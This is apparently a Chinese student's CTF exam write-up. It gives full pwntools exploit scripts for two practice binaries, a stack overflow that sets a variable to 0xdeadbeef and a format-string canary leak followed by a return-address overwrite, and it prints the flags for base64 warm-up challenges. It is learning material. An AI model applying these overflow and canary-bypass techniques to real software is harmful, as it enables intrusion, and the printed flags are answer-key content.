最近这几天网络与信息安全学院搞网络空间安全专业的实验班考试,作为蒟蒻的我抱着试一试的心态混入了考试的大佬之中XDD
说不定再过几天我就从计科院人变成网信院人le
pwn只有两道基础题,哪怕是我这个主攻pwn的蒟蒻也能十分钟就写出来了呢www
点击下载-bin
惯例checksec
,只开了NX保护,四舍五入就是没有保护
拖入IDA,发现当v5的值为-559038737(0xdeadbeef)时可以getflag
read函数读入到地址esp+0x80-0x68
,v5的地址是esp+0x7c
,所以我们只需要覆盖掉v5的值为0xdeafbeef
即可getflag
故构造payload如下
from pwn import *
pl = b'A'*0x64 + p32(0xdeadbeef)
p = process('./bin')#p = remote('192.168.5.11',22987)
p.sendline(pl)
p.interactive()
输入即可得到flag
点击下载-canary
惯例的checksec
,开了NX保护和Canary,说明我们不能像之前那样轻松地溢出了,需要绕过Canary
拖入IDA进行分析,我们可以发现在fun()
函数处存在溢出,偏移量为0x70
,故考虑绕过canary后控制程序返回至getflag()
如何绕过canary?在main函数中我们可以看到其先读入format再输出format,存在格式化字符串漏洞,我们可以利用这个来输出canary的值,再覆盖掉即可
故构造payload如下
from pwn import *
pl1 = '%7$x'
get_flag = 0x804863d
p = process('./canary')#p = remote('192.168.5.11',39274)
p.sendline(pl1)
cnry = int(p.recv(),16)
pl2 = 26*p32(cnry) + p32(get_flag)
p.sendline(pl2)
p.interactive()
得到flag
只解出了一道题55555
点击下载-babyre
.net逆向
拖入dnSpy即得flag
只写出来两道最基础的签到题XD
首先给了这样一串文本
Q01JU0NDVEZ7V2VsY29tZV9DVEZlciF9
base64解码即得flag
CMISCCTF{Welcome_CTFer!}
首先给了这样一串文本
UTAxSlUwTkRWRVo3Um1GclpWOWxibU55ZVhCMGFXOXVmUT09
base64解码得到这样一串文本
Q01JU0NDVEYlN0JGYWtlX2VuY3J5cHRpb24lN0Q=
很明显的base64特征,再次base64解码即得flag
CMISCCTF{Fake_encryption}
其他的题都不会写了XDDDD果然我还是太菜了QAQ